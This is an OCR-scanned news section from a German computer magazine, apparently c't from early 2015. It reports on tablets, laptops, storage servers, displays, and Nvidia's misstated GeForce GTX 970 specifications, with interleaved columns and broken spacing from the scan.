die es erst ab Frühjahr g ibt. Wie die Hü l l e  d ie 
Übertragung verbessert, sagt HP  n icht. 

Auf den U ltra­
scha l l -Stift 

reag ieren die 
Android-Tablets 

HP ProSiate 8 
und 1 2  sogar, 

wenn man 
daneben auf 

Papier schreibt. 

:21' .. f '!f •· t  

.. 4 ••• "' ... 

Das Pro Slate 8 hat ein 7,9-Zoi i-Display mit 
2048 x 1 536 Pixel (rund 325 dpi) .  Im Pro 
Slate 1 2  steckt ein Display im 4:3-Format mit 
1 2,3 Zol l und nur 1 600 x 1 200 Pixe ln - deut­
l ich unschä rfer ( 1 63 dpi) a l s  der kle ine Bruder. 

Die beiden Tablets s ind nur 8 Mi l l imeter dick 
und wiegen 350 und 850 Gramm. Für das Pro 
Slate 8 verlangt HP  380 Euro und fü r das Pro 
Slate 1 2  530 Euro. Beide Tablets laufen noch 
mit Android 4.4; ob und wann ein Update auf 
das aktue l le Android 5 erfolgt, sagt HP  nicht. 

Ebenfa l l s  mit Stifteingabe kommt das 
Windows-Notebook HP  E l ite x2 1 01 1  G 1  auf 
den Markt, ein 1 1  ,6-Zoi i-Hybride mit Core-M­
Prozessor von I ntel. Hier verwendet HP einen 
klassischen Dig itizer von Wacom. Die Ha rd-

Cyanegen greift Google an und bekommt Geld von Microsoft 

Der Vermarkter des Android-Ablegers Cyano­
genMod wi l l  "Goog le Android wegnehmen". 
Kirt McMaster, CEO der kommerzie l len Cya­
nogen lnc., kritisierte während einer Android­
Konferenz Googles Einfl uss auf das System 
und die sta rke Abschottung von Android ge­
genüber Dritten. Goog les eigene Dienste hät­
ten desha lb  Vortei le gegenüber der Konku r­
renz, d ie nicht so tief ins System eing reifen 
dü rften. Daher arbeitet man nun an einem ei­
genen System auf Basis des Open-Sou rce-An­
d roid und ohne Google-Zusätze. "Unsere Ver-

s ion von And roid ist offener, damit können 
wir mehr Partner an  Bord holen und i h ren 
Diensten d i rekten Systemzugang ermög l i ­
chen."  E inen eigenen App-Shop wi l l  man 
ebenfa l l s  auf den Weg bringen. 

Zur F inanzierung von Cyanogen könnte 
demnächst auch Microsoft beitragen .  Laut 
Wa l l  Street Journa l  p lant der Windows-Her­
ste l l e r  e ine Minderheitsbetei l u ng an  e iner 
70 M i l l ionen US-Do l l a r  schweren F inanzie­
rungsrunde.  Auch andere F i rmen seien am 
Einstieg i nteressiert. (asp@ct.de) 

c't Android 201 5 

Das Sonderheft c't Android zeigt, wie Sie die Datenkra­
ke Goog le in mehreren Schritten, von einfach bis Root, 
von Ih rem Smartphone und Tablet verbannen. Fa l l s  I h r  
Handy defekt ist, finden S ie  Tipps zur Reparatur, wie 
Sie an Ersatztei le kommen und wann Sie es doch bes­
ser zur Werkstatt geben. 

Weitere Themen: Was d ie aktue l len Android-Smart­
watches taugen und welches das richtige Tablet fü r 
Sie ist (auch mit B l ick auf iOS und Windows). Im  Pra­
xiste i l  geht es darum, die Akku laufzeit zu ver längern, 
lästige Aufgaben zu automatisieren und wie I hnen 
ein umfassendes Backup ge l i ngt. Root-Fans fi nden 
Anleitungen und einen Verg leich von Custom-ROMs. 
Wol len Sie einfach nur neue Apps kennen lernen, bie­
ten wir I hnen d ie Liebl ings-Apps der Redaktion sowie 
einen Test von virtue l len Tastaturen und sma rten 
Homescreens. 

c't Android 201 5 ist fü r 9,90 Euro im Zeitschriftenhandel sowie bis zum 1 .  3. 201 5 in Deutsch­
land, Österreich und der Schweiz versandkostenfrei im Heise-Shop erhält l ich. Als digitale 
Version in der c't-App für Android und iOS sowie a ls  E-Book kostet es 8,99 Euro. Qow@ct.de) 

Cl: Das Heft im heise Shop: ct.de/y7 1 v 
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ware steckt hinter dem Display. Die beleuch­
tete Tastatur lässt sich abnehmen, wenn das 
Gerät a ls  Tablet verwendet wird. Im Tastatur­
dock stecken Zusatzakku, USB- sowie Display­
Port-Ansch luss, F i ngerabdruckscanner und 
Smartca rd-Leser. A l le ine wiegt das Tablet 
mindestens 870 Gramm, die Tastatur mit Akku 
bringt weitere 780 Gramm auf d ie Waage. 
Einen Zentimeter dick ist das Tablet solo, mit 
Tastatur s ind es zwei. Mindestens 1 000 Euro 
möchte HP fü r das Gerät haben. (asp@ct.de) 

Laptop mit Venenscanner 

Bis zu zwei Werktage Laufzeit verspricht Fu­
j itsu fü r sein Bus iness-Notebook Lifebook 
S935 mit l ntels aktuel len Broadwei i-U-Prozes­
soren. Erreicht wird die Ausdauer unter ande­
rem du rch einen zweiten Akku, der i n  einem 
Modu l schacht P latz fi ndet. Die Angaben be­
ziehen sich auf den Betrieb im F l ugmodus 
mit ger inger He l l igkeit - näher an  der Rea l ität 
sind die immer noch exze l lenten 22 Stunden 
mit zwei Akkus und 1 6  Stunden mit einem 
Akku im Normalbetrieb. Für Sicherheit beim 
Anmelden sorgt e in Handvenenscanner, der 
ohne d i rekte Berührung a rbeitet. Stattdessen 
muss die Hand fü r einige Momente über das 
Sensorfeld geha lten werden. 

Das 1 3,3-Zoi i-Display mit 1 920 x 1 080 oder 
2560 x 1 440 Pixe ln  ist i n  der Standardausfüh­
rung entspiegelt . Optional g ibt es das Gerät 
auch mit Touchscreen, dann a l lerd ings nu r  
spiege lnd .  I m  Modu l schacht fi nden wah l ­
weise Akku, zusätzl iche Festplatte oder  B lu­
Ray-Brenner ih ren P latz. Je nach Ausstattung 
br ingt das Gerät zwischen 1 ,2 und 1 ,4 Ki lo­
gramm auf die Waage. Im  Handel g ibt es das 
S935 mit Core i5-5200U, 256 GByte SSD und 
8 GByte RAM ab 1 350 Euro. (asp@ct.de) 

Das Fujitsu Lifebook 5935 l iest das 
Venenmuster der Hand, das Auflegen 
des F ingers zum Entsperren entfä l lt. 
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Ihr Testmonat bel Server4You: 

Nicht zufrieden? 
Sofort Celd zurück! 

ln  den er sten 30 Tagen können 

Sie unsere Ecoserver komplett 

ohne Risiko testen. 

Sollten Sie n icht zufrieden sein.  

können Sie Ihren Vetrag jeder­

zeit kü n digen. 

Ecoserver - der g ü nstigste 

dedi zierte Ser ver der Weit 

Ecoserver 
ENTRY X6 

• A M D  Athlon ouai -Core 

• 4GB DDR2 RAM 

• 2x 320GB SATA I I  HDD 

• Unbegrenzter Traffic 

• Keine Mindestla ufzeit 

Ecoserver 
LARCE X6 

• AMD Athlon auad-Core 

• 8 GB DDR3 RAM 

• 2X 1 . 000 GB SATA I I  HDD 

• Unbegren zter Traffic 

• Keine Mlndestlaufzeit 

Ecoserver 
BIC X6 

• A M D  Athlon aua d- Core 

• 1 6 GB DDR3 RAM 

• 2x 1 .500 GB SATA II HDD 

• Un begrenzter Tra ffic 

• Keine Mindestla ufzeit 



So geht 
Service 

fü r OTRS 
heute. 

ti SUPPORT 
tl U PDATE -SERVICE 
tl BETR IEBSUNTER-

STÜTZUNG 

Wir treffen u n s  auf 
der CeB IT 201 5 

Ha l le  6 ,  Sta nd H 1 6/0 1 5 

w w w . c a p e - i t . d e  

aktuel l  I Server & Storage 

Server für 1 2  Festplatten 

Die niederrheinische F i rma Gra­
fentha i  verkauft e inen Storage­
Server mit Einze lprozessor, maxi­
mal 32 GByte RAM, SAS-RAI D­
Hostadapter und bis zu 1 2  inter­
nen Festplatten ab  3200 Eu ro. 
Zum E inst iegspreis enthä lt  der 
Storage Server S 1 2 1 2M mit zwei 
Rack-E inheiten Bauhöhe den 
Quad-Core Xeon E3- 1 230 v3 
sowie ein 8-GByte-Speichermo­
dul - Festplatten und Betriebs­
system kosten extra. Das Giga-

byte-Ma inboa rd GA-6LXSV ste l l t  
vier Gigabit-Ethernet-Ports be­
reit, h i nzu kommt ein Ansch luss  
für den Fernwartungschip (BMC) 
Aspeed AST2300. 

Am Avago/LSI MegaRAID SAS 
9380-4i4e hängen je ein externer 
und e in i nterner M in i-SAS-x4-
Port, l etzterer ist mit  der SAS­
Expander-Backplane verbunden. 
Hot-Swap-Rahmen nehmen 3,5-
oder 2,5-Zo i i -Laufwerke a uf, 
selbstverständ l ich auch SSDs. 

NAS-Chips mit Cortex-A 1 5-Kernen 

Kü rzl ich hat der Handelskonzern 
Amazon, der mit seinen Web 
Services auch zu den g rößten 
Cloud-Dienst le istern der Welt  
gehört, d ie  kl e ine israe l ische 
F i rma Annapurna übernommen. 
Man munkelt über  e inen Kauf­
preis von rund 370 Mi l l ionen US­
Dol lar, Deta i l s  wurden aber nicht 
verraten. Annapu rna wa r erst 
Anfang Januar  etwas bekannter 
geworden, als d ie NAS-Herste l ler  

Netgear, Qnap und Synology 
Netzwerkspeicher mit .,A ip ine"­
Chips von Annapurna angekün­
digt hatten. 

Laut den Spezifi kat ionen von 
Netgea r ReadyNAS 200, Qnap 
TurboStation TS-43 1 + und Syno­
logy DiskStation DS201 5xs g ibt 
es d ie Alp ine-Ch ips in mindes­
tens zwei Va rianten, näml ich mit 
zwei oder vier ARM-Kernen des 
Typs Cortex-A 1 5 . Die teu rere Ver-

Externes SAS-Disk-Gehäuse auch fürs Rack 

Si lverstone verkauft fü r 575 Euro 
e in  externes Gehäuse fü r acht 
3,5-Zo i i -Festplatten mit SATA­
oder SAS-Schn ittste l l en .  Das 
RS83 1 S besitzt aber keinen SAS­
Expander, sondern an der Rück­
seite zwei Min i -SAS-x4-Buchsen 

l n  das Si lverstone RS83 1 S 
passen acht 3,5-Zo i i ­

Festplatten mit SATA­
oder SAS-Anschlüssen.  

(SFF -8088) . Desha l b  benöt igt 
der  Hast-Rechner  e inen SAS­
Adapter mit zwei externen Min i ­
SAS-Port. E in  SAS Hast Bus  
Adapter (H BA) a l s  PC ie-Karte 
zum Nachrüsten kostet mindes­
tens 1 30 Eu ro. 

Flash-Speicher fürs Rack 

Den Preis wi l l  Del i n icht veröffent­
l ichen, doch das Del i  Storage 
SC4020 Entry-Level AI I -F iash­
Array sol l  e in .,kosteneffizientes" 
F l a sh-Speichersystem sei n .  Es 
handelt sich um einen Storage­
Server mit redundantem Control-
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ler und 24 Einschüben fü r SAS­
Festplatten oder -SSDs. Als Be­
triebssystem kommt Del i Com­
pel lent Storage Center 6.5 zum 
E insatz, es l äuft je Contro l l e r  
auf  e inem Quad-Core-Xeon mit 
1 6  GByte RAM. Jeder Contro l le r  

Über  den externen SAS-1 2G­
Port mit vier Kanä len lassen sich 
externe Festplattengehäuse an 
den 5 1 2 1 2M anschl ießen, fa l l s  
d ie interne Kapazität nicht reicht; 
mit 6-TByte-Festplatten s ind im­
merhin 72 TByte brutto mögl ich .  
Optiona l  bestückt Grafentha i 
den S 1 2 1 2M auch mit 1 0-Giga­
bit-Ethernet- oder F ibreChannei­
Ada pterka rten .  Das Netzte i l  ist 
redundant ausgelegt. 

(ciw@ct.de) 

Der Storage-Server 
S1 2 1 2M von Grafentha i 
n immt zwölf Festplatten 
auf und lässt sich mit ex­
ternen Boxen erweitern. 

sion enthält 1 0-Gigabit-Ethernet­
Contro l le r, d ie bei der DiskSta­
tion DS201 5xs über SFP-Ports 
nutzba r s ind .  Die Dua i -Cores in 
den beiden anderen Geräten be­
sitzen nu r  1 -GbE-Contro l ler. A l le  
A lp ine-SoCs so l len verg le ichs­
weise hohe Datentransferraten 
l iefern können, dank Ha rdware­
Besch leun iger auch beim Lesen 
und Schreiben versch l ü sselter 
Daten. (ciw@ct.de) 

Zwei Lüfter küh len die Lauf­
werke im RS831 S, e in eingebau­
tes Netztei l  l i efert Energie .  Die 
Schne l lwechse l rahmen lassen 
s ich ohne Werkzeug bedienen, 
2,5-Zoi i-Piatten passen aber n icht 
h ine in .  (ciw@ct.de) 

ste l l t  vier F ibreChanne i -Ports 
(8GFC) bereit. ln  der Basiskonfigu­
ration baut Del i vier SSDs mit je 
480 GByte Kapazität ein, die nicht 
fü r ständiges Überschreiben aus­
gelegt s ind, sondern vor a l lem 
fü rs Lesen von Daten. (ciw@ct.de) 
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Augen auf beim Mainboard-Kauf 

Um einen mögl ichst weiten 
Preisbereich abzudecken, bieten 
Ma inboard-Herste l l e r  fü r jede 
einzelne Prozessorplattform zahl­
reiche Va rianten an .  So hat Asus 
fü r d ie  Fassung LGA 1 1 50 auf 
dem deutschen Ma rkt derzeit 
knapp 1 00 Mode l le  im Pro­
gramm, davon nutzen 25 Stück 
den Spitzen-Chipsatz Z97. 

Doch sogar bei identischer Be­
zeichnung können sich Main­
boards voneinander unterschei­
den, denn die Herste l ler  verän­
dern im Laufe der Produktion die 
Bestückung und kennzeichnen 
d ies mit Revis ionsnummern. 
Meist s ind d ie Unterschiede ge-

ring: So kommen zum Beispiel ein 
jüngeres Chipsatz-Stepping oder 
neuere Zusatzchips für Netzwerk, 
USB 3.0 oder Audio zum Einsatz. 

in e in igen Fä l l en  ändert s ich 
auch das P lat i nen layout und 
Funktionen fa l len weg. Beim Gi­
gabyte-Ma inboard B85M-D2V 
feh lt  ab Rev. 2.0 der zweite B IOS­
F iash-Chip und  somit auch d ie 
Dua i -B IOS-Fäh igkeit . Auf dem 
B85M-H D3 lötet Gigabyte ab 
Rev. 2.0 e ine andere Spannungs­
versorgung fü r d ie CPU auf, die 
nur noch aus zwei statt d rei 
Wand lerphasen besteht und 
desha l b  mit weniger Bautei len 
auskommt. So lche Änderungen 
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können n icht nu r  bei Gigabyte, 
sondern auch bei anderen Board­
Herste l lern vorkommen. 

Zwar dokumentieren d ie Her­
ste l l e r  d ie  Ausstattung der e in­
ze l nen Boa rd-Revis ionen auf ih­
ren Webseiten .  Vor dem Kauf 
lässt sich jedoch nicht feststel len, 
welche Revis ion ein Händler auf 
Lager hat, da d ie Mainboards d ie 
g leiche g lobale Arti kel identnum­
mer (GTI N, früher EAN) verwen­
den. A ls  Käufer so l lte man des­
ha lb  sofort die Ausstattung der 
ge l ieferten Board-Revis ion prü­
fen und bei  eventuel l  feh lenden 
Funktionen vom Rückgaberecht 
Gebrauch machen. (chh@ct.de) 

Die Revision 1 .0 und 2.0 des Gigabyte B85M-HD3 unterscheiden sich nicht nur  bei der Platinenfa rbe, 
sondern auch in der Spannungsversorgung.  Das hat direkten Einfluss auf die Leistungsaufnahme. 

Mini-Rechner mit Core i-5000 

Die neuen Mobi lprozessoren mit 
Broadwel l -Architektur stecken 
nicht nur in  Notebooks, sondern 
treiben künftig auch l ntels Mini­
Barebone-PCs der Serie "Next Unit 
of Computing" (NUC) an. Der 
Chipherste l ler rüstet vier Consu­
mer- und zwei Business-Rechner 
der NUC-Serie mit Core-i-Prozes­
soren der fünften Generation aus. 

Für Privatanwender g ibt es je­
wei l s  zwei Model le  mit Core i5-
5250U (1 ,6 GHz, Turbo: 2,7 GHz) 
und Core i3-501 OU (2, 1 GHz). Die 
Core-iS-Va rianten NUCS iSRYH 
und NUCSiSRYK taugen nach An­
sicht von I ntel nicht nur als Mu lti­
media-Zuspie ler oder Bü ro-PC, 
sondern auch a l s  kompakte Ga­
ming-Systeme fü r LAN-Parties. 
Für ä l tere Spiele mag die Leis­
tung der i nteg rierten H D-6000-
Grafi k  mit 48 Shader-E inheiten 

ausreichen, bei aktue l len 3D­
Shootern und hohen Qua l itäts­
einste l l ung dü rfte i h r  aber d ie  
Puste ausgehen. 

Für U nternehmen bietet der 
Herste l l e r  den vPro-taug l ichen 
NUCSiSMYH E sowie den 
NUC5i3MYHE an. Beide Rechner 
s ind mit e inem TPM sowie einer 
B lende ausgestattet, um interne 

Schnittste l len wie GPIO, 12C oder 
SMBus nach außen zu füh ren .  
Fü r  andere Gehäuseformate so­
wie den E inbau in Masch inen 
oder  d ig ita le  Werbetafe ln  bietet 
I ntel d ie  UCFF-Boards der Bus i­
ness-Geräte auch sepa rat an .  Für 
letzteren Zweck ist e in Embed­
ded Displayport (eDP) an  Bord . 

(chh@ct.de) 

1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 �___.,.",.,..,.""",.---Bei den Broadwei i -NUCs lässt sich der 
Gehäusedeckel leicht tauschen, um beispielsweise 
einen Drahtloslader fü r Smartphones zu integrieren. 
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LGs LED-AI Iround-Beamer schafft 1 400 Lumen 

Zwei Kategorien von LED-Projek­
toren gab es bislang: Die weitaus 
größte Gruppe machten die klei­
nen, transportablen Beamerchen 
fü r die Aktentasche aus (zum Bei­
spiel Vivitek Qumi); und dann 
s ind da noch die großen, teuren 
Heimkino-Geräte wie Optomas 
HD90. Mit seinem PF1 500 wi l l  sich 
LG nun zwischen die beiden Ka­
tegorien d rängeln .  Der Projektor 
ist mit 1 ,7 Ki logramm leicht ge­
nug zum Mitnehmen, sol l aber mit 
1 400 Lumen auch g roße Heim­
kino-Leinwände aus leuchten. 

Der g rößte Vortei l der LED­
Techn ik gegenüber den konven-

t ionel len Hochd rucklampen ist 
d ie deutl ich höhere Lebensdau­
er: LG g ibt beim PF 1 500 30 000 
Stunden an, eine konventione l le 
Beamerlampe muss nach spätes­
tens 5000 Stunden ausgetauscht 
werden. 

LGs LED-Projektor schafft d ie  
Fu i i -H D-Auflösung von 1 920 x 
1 080 B i l dpunkten, außerdem 
zeigt er 3D- Inha lte an  - dazu 
muss man a l l erd ings e ine pas­
sende Shutterbri l l e  fü r rund 50 
Euro dazu kaufen. 

Neben den klassischen Eingän­
gen (HDMI, Sub-D-VGA) g ibt es 
weitere kabelgebundene und ka-

m 

Hoch statt breit: LGs LED-Projektor PF1 500 mit HO-Auflösung 
hat eine ungewöhn l iche Form. 

bel lose Optionen, den Projektor 
mit Bi ldern zu versorgen: Unter 
anderem beherrscht er die Funk­
Screencast-Standards Mi racast 
und WiDi; außerdem lassen sich 
kompatible Mobi lgeräte über 
MHL verbinden. Fü r  d ie akusti-

sehe Unterma l ung sorgen zwei 
3-Watt-Lautsprecher, Soundbar­
Besitzer freuen sich über d ie 
"Biuetooth Out"-Funktion. 

Der PF 1 SOO sol l  im Mai in  den 
Handel kommen und rund 1 000 
Euro kosten. Ukj@ct.de) 

Günstiger Dokumentenscanner: AD1 25 von Avision 

Der dup lexfäh ige Dokumenten­
scanner AD1 25 von Avision dig i­
ta l is iert maximal 50 doppelseiti­
ge D IN-A4-Biätter pro Minute 
und ist fü r ein Tagesvo l umen 
von bis zu 4000 Seiten ausge­
legt. Mit der Preisempfeh lung 
von rund 3SO Eu ro l i egt de r  
Bürohelfer eher  i n  der E instiegs­
klasse fü r Dokumentenscanner. 
Dennoch bekommt man e ine 
Ausstattung,  d ie  sonst nu r  i n  
deut l ich teuereren Geräten zu  
finden s ind.  

Der AD1 2S scannt mit hoch­
wert igen CCD-Scanzei len, Dop­
peleinzüge erkennt er per U ltra­
scha l l sensor .  Im Schwa rzweiß­
Mod us  bei 200 dp i  l i est der  
kompakte Scanner  25 ei nseit ige 
oder SO doppelseit ige Vor lagen 
pro M inute e in ;  bei Fa rbe und  

300  dp i  s ind es immer  noch 
20 einseit ige respektive 40 dop­
pelseit ige B lätter. Die maxima le 
Auflösung l iegt - wie be i  Doku­
mentensca nnern ü b l i ch  - bei 
600 dp i .  

Der Dokumentenscanner 
Avision AD1 25 scannt 50 
doppelseitige Vorlagen 
pro Minute, erkennt 
Mehrfacheinzüge per 
U ltraschal lsensor und 
kostet nur  3SO Euro. 

BenQs 24-Zoii-Monitor mit Nividias G-Sync-Technik 

BenQ erweitert se i ne  Gaming­
Monitor-Serie um e in 24-Zo i i ­
Mode l l  mit  G-Sync-Unterstüt­
zung. Das TN-Panel des XL2420G 
läuft dank G-Sync in e inem Be­
reich zwischen 30 und 1 44 Hz 
angepasst an  d ie Framerate der 
Grafi kka rte und  zeigt d ie  Bi lder 
daher immer genau dann an ,  
wenn s ie ange l iefert werden .  
D ie  dynamische Synch ronisation 
von GPU und Disp lay dü rfte -
wie bei den in c't 24/1 4 geteste­
ten G-Sync-Mon itoren - auch 
beim XL2420G B i ldfeh le r  wie  
Ruckler und Tear ing in  schne l len 
Sp ie len merk l ich verri ngern .  
Damit  G-Sync funktion iert, muss 
im Rechner  e ine G-Sync-fä h ige 
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Grafi kka rte von Nvid ia stecken 
und das Disp lay muss schne l l e  

B i ldwechsel beherrschen :  BenQ 
verspricht fü r den Monitor eine 

Grauscha l tzeit von n u r  
e iner M i l l isekunde. 

Wie bei G-Sync-Moni­
toren üb l ich, nutzt auch 
der XL2420G eine Funkti­
on namens U LMB (U ltra 
Low Motion B l u r) .  S ie si­
mu l iert mithi lfe eines Bl in­
king Backl ight d ie Impu l s­
da rstel l ung  von Röhren­
mon itoren und sorgt so 

BenQs XL2420G so l l  dank der 
variablen Bi ldwiederholrate 

von G-Sync Bi ldfehler in 
Bewegtbi ldern vermeiden. 

Der Vor lageneinzug des 
AD1 2S n immt SO Seiten Normal­
papier auf und kommt auch mit 
sehr dünnem Papier klar: Avis ion 
empfieh l t  Papiergewichte von 
34 bis 1 27 g/m2• E inze ln  sol l er 
Vor lagen bis 1 ,2S mm Dicke ein­
scannen können - was fü r Kre­
d itka rten aus reicht. Klappt man 
d ie  a us ladende Pap ierab lage 
e in ,  beansprucht der  3 1  Zent i­
meter breite und rund 1 6  Zent i­
meter tiefe Scanne r  nur wenig 
Ste l lfl äche auf  dem Schre ib­
t isch .  Avis ion l i efert d ie  Win­
dows-Softwa re Button Mana­
ger  2 sowie je e in  Twa in- und 
I S I S-Modu l  mit, Tre iber fü r 
Mac OS s ind i n  Vorbereitu ng .  
Den Avis ion AD1 2S bekommt 
man mit  zwei J ah ren Garant ie 
im  Fachhande l .  (rop@ct.de) 

fü r eine deut l iche Verri ngerung 
von Bewegungsunschärfen. 

Das 1 6:9-Disp lay löst mit 
1 920 x 1 080 B i ldpunkten auf, an­
gesteuert wird es über  zwei 
HDMI-Buchsen, DVI oder Dis­
playPort Den übertragenen Ton 
kann man am Kopfhörerausgang 
abgreifen .  Wie bei BenQs XL­
Serie üb l ich, lässt s ich auch der 
XL2420G neigen, d rehen und in 
der Höhe verste l l en .  Sei ne fü r 
Spie le optimierten B i ld-Presets 
kann  man ohne U mweg ins  
Moni tormenü an  dem an  e ine 
USB-Maus er innernden S-Switch 
umste l len .  Der XL2420G ist ab  
sofort fü r r und  SSO  Eu ro erhä lt­
l ich .  (spo@ct.de) 
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Maxwells Kernschmelze 
Nvid ias falsche S pezifikationen der S pieler­
Grafikkarte GeForce GTX 970 verärgern Kun den 

Die Spieler-Grafikkarte GeForce GTX 970 hat 
weniger Rasterendstufen und einen kle ineren 
L2-Cache, a ls  von Nvidia bisher behauptet wurde. 
Ü berdies sind nu r  3,5 GByte ih res 4 GByte g roßen 
Videospeichers sch ne l l  angebunden.  

Die Ruckler treten auf, wenn Spie­
le zwischen 3,5 und 4 GByte Vi­
deospeicher belegen. Über Weih­
nachten verschärften sich die Dis­
kussionen, nachdem viele Spieler 
endl ich Zeit hatten, d ie neuen 
speicherfressenden Titel wie 
Assassin's Creed Un ity oder Far 
Cry 4 zu spielen, d ie zum 
Marktsta rt der GeForce 

Begründet wurde d ies mit einer 
Kommunikationspanne zwischen 
den GPU- Ingenieuren und dem 
technischen Marketingteam. 

Jonah Alben, Chef der GPU­
Engineering-Sparte, legte gegen­
über US-Medien sch l ieß l ich d ie 
Ka rten auf den Tisch. Demnach 
hat d ie GeForce GTX 970 zwar 
4 GByte Speicher, a l lerd ings sind 
nur d ie vorderen 3,5 GByte 
schnel l  angebunden (224 Bit, 1 96 
GByte/s). Nvidia musste den Vi­
deospeicher daher in  zwei Seg­
mente untertei len (3,5/0,5 GByte). 
Spie le, die nicht mehr als 3,5 
GByte Speicher verwenden, lagern 
a l l e  Daten im schnel len Bereich. 
Brauchen sie a l lerd ings mehr, 

E igent l ich konnte es im Sep­
tember letzten Jahres für Nvi­

dia kaum besser laufen. Nvidia 
veröffentlichte damals die beiden 
ersten Grafikkarten mit dem neu­
en Maxwei i -2.0-Grafi kchip - die 
GeForce GTX 980 und GeForce 
GTX 970. Sie waren viel effizienter 
als AMDs Radeon-R9-Grafikkarten 
und boten obendrein noch a l ler­
le i Schmankerl wie HDMI 2.0. 
Gamer lechzten vor a l lem nach 
der 320 Euro teu ren GeForce GTX 
970, die laut Nvidias Spezifikation 
ledigl ich weniger Shader-Rechen­
kerne besitzen sol lte ( 1 664 statt 
2048). Die für hohe Auflösungen 
wichtige Speicherg röße und -an­
bindung (4 GByte, 256 Bit) sol lte 
identisch zur GeForce GTX 980 
sein, die 200 Euro mehr kostete. 
Jetzt wissen a l le: Das war fa lsch. 
Die GeForce GTX 970 hat e in 
weniger effektives Speicherinter­
face, weniger Rasterendstufen 
und weniger L2-Cache, a l s  von 
Nvidia kommuniziert wurde. 

Nvidia hat die 
GeForce GTX 970 

unter fa lschen Spezifi­
kationen veröffentl icht. Die 

Karte hat weniger Rasterendstu­
fen und L2-Cache sowie ein weniger 

effektives Speicherinterace a ls  gedacht. 

Dass der Schwindel aufflog, ist 
in  erster Linie hunderten Nvidia­
Fans zu verdanken, die sich in  in­
ternationalen und deutschen 
Foren (Gu ru 3D, 3dcenter etc) 
über merkwürdige Mikroruckler 
und gelegentl iche drastische Ein­
brüche der B i ldrate wunderten. 

GTX 970 eben noch nicht im Han­
del waren. Nachdem eine Vielzah l  
von Fachmagazinen, darunter 
auch c't, bei Nvidia nach einer 
Erklärung fragten, gab die F i rma 
sch l ießl ich unter großem öffentl i­
chen Druck zu, bei der Spezifika­
tion der GeForce GTX 970 fa lsche 
Angaben gemacht zu haben. 
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scha ltet die GeForce GTX 970 
auch den langsamen Speicher­
bereich zu (32 Bit, 28 GByte/s) .  
Das Problem: Die GeForce GTX 970 
kann nicht aus beiden Speicher­
bereichen g leichzeitig lesen. 

Einer von Nvidia veröffentl ich­
ten Erklä rung zufo lge sol l der 
Performance-E inbruch im ein-
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ste l l igen Prozentbereich l iegen ­
die F i rma füh rt dafü r  d rei ausge­
wählte Beispiele aus den Spielen 
Shadows of Mordor, Battlefie ld 4 
und Ca l l  of Duty Advanced Wa r­
fa re auf. Berichte vie ler Nutzer 
besagen etwas anderes. 

Da rüber h inaus hat der Grafik­
ch ip der GeForce GTX 970 b loß 
56 Rasterendstufen und n icht 64, 
wie von Nvidia beim Marktsta rt 
angegeben. Aus Al bens Erklä­
rungen geht außerdem hervor, 
dass e inem der 32-Bit-Speicher­
contro l ler  kein  L2-Cache zur Ver­
fügung steht. Demnach hat d ie  
GeForce GTX 970 nicht 2048 
KByte L2-Cache, sondern nu r  
1 792 KByte. Nvidia h a t  a l so i n  
den Spezifi kationen zur GeForce 
GTX 970, die unter anderem an  
zah l reiche Journal isten geschickt 
wurden, g leich mehrere fa lsche 
Angaben gemacht. 

Nvidia erntete daraufh in  den 
woh l  g rößten Sh i tstorm in  der 
F i rmengeschichte von Fans und 
Kunden, d ie i n  der Hoffnung auf 
e ine zukunftss ichere 4-GByte­
Grafi kka rte mehr a l s  300 Euro fü r 
e ine GeForce GTX 970 ausge­
geben haben. Sch l ieß l ich ist es 
sehr wahrsche in l ich, dass ein ige 
künftige PC-Spiele vol l e  4 GByte 
Speicher fü r d ie maximale Deta i l ­
stufe und sehr hohe Auflösungen 
benötigen. 

Nvidia äußerte sich bis Redak­
t ionssch l uss n icht auf unsere 
Anfrage, ob man bisher igen 
GTX-970-Besitzern eine Entschä­
d igung anbieten wol l e  oder ob 
eine öffent l iche Erklä rung noch 
fo lge. E in ige Händ ler, etwa Arlt, 
haben öffent l ich erklä rt, d ie  
GeForce GTX 970 zurückzuneh­
men. (mfi@ct.de) 

c't: Anlaufste l l e  fü r Fragen und 
zum Austausch: ct.de/y99v 
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Avid bringt Pro Tools 1 2  und kostenlose Version 

Bereits im März sol l  d ie 1 2. Version der Digital 
Audio Workstat ion (DAW) Pro Too ls  erhä lt­
l ich sein. Herste l l e r  Avid fo lgt dabei dem 
a l lgemeinen Trend und bietet neben e iner 
zeit l ich unbeg renzten Vo l l -Lizenz auch e in 
Abomode l l  an .  Zu den Preisen gab es bis Re­
daktionssch luss jedoch noch keine I nforma­
t ionen. 

A ls  wesent l iche Neuerung nennt Avid die 
"Cioud Col laboration"-Funktion, d ie  es über  
den G lobus vertei l ten Pro-Tools-Nutzern er­
mög l i cht, gemeinsam an  e iner  Sess ion zu 
a rbeiten. Zudem lassen s ich Mus ikprojekte 
d i rekt in d ie  C loud speichern.  Der dazuge­
hör ige Dienst sch l ießt e inen On l i ne-Ma rkt­
p latz e in ,  ü ber  den Mus iker, Kompon isten 
und Produzenten i h re Werke zum (Lizenz­
)Kauf anbieten können .  Da rüber h inausge­
hende Verbesserungen gegenüber der Vor­
gängervers ion wurden b i s l ang noch n icht 
verraten .  

Mit "Pro Tools  I F i rst" ste l l t  Avid erstma ls 
e ine kosten lose Version seiner DAW zur Ver­
fügung .  Sie ist auf 1 6  Spuren beschränkt, von 

denen sich vier Spuren g leichzeitig aufzeich­
nen lassen. Bei der freien Version lassen sich 
maximal d rei Sessions in  der Cloud speichern 
- und auch nur dort. Das Prog ramm sol l  mit 
rund 20 P lug- ins ausgel iefert werden, darun-

Angeblich Spezifikationen zur "4K Blu-ray DiSC11 aufgetaucht 

Die japan ische AudioNideo-Website "AV 
Watch" hat eine Übersicht veröffentl icht, die 
die voraussichtl ichen Spezifikationen der für 
Ende 201 5 angekündigten "4K B lu-ray Disc" 
zeigen soll . Sie bestätigt viele bisherigen Ver­
mutungen - etwa, dass zur Speicherung der 
U l tra-HO-F i lme das besonders effiziente Kam­
pressionsverfahren HEVC zum Einsatz kommt 
und dass die Datenrate auf 1 00 MBit/s hoch­
geschraubt wird. U ltrahoch aufgelöste F i lme 
werden in  e iner Auflösung von 3840 x 2 1 60 
Pixel gespeichert, was der Panelauflösung von 
U ltra-HD-TVs entspricht. 

Ü berraschend ist, dass die .AK B l u-ray 
Disc", d ie noch keinen offizie l len Namen hat, 
ledig l ich eine Fa rbabtastung von 4:2:0 bieten 
so l l .  Zudem ist zwar e ine Speicherung von 
4K-Videos mit bis zu 60 Vo l l bi ldern pro Se­
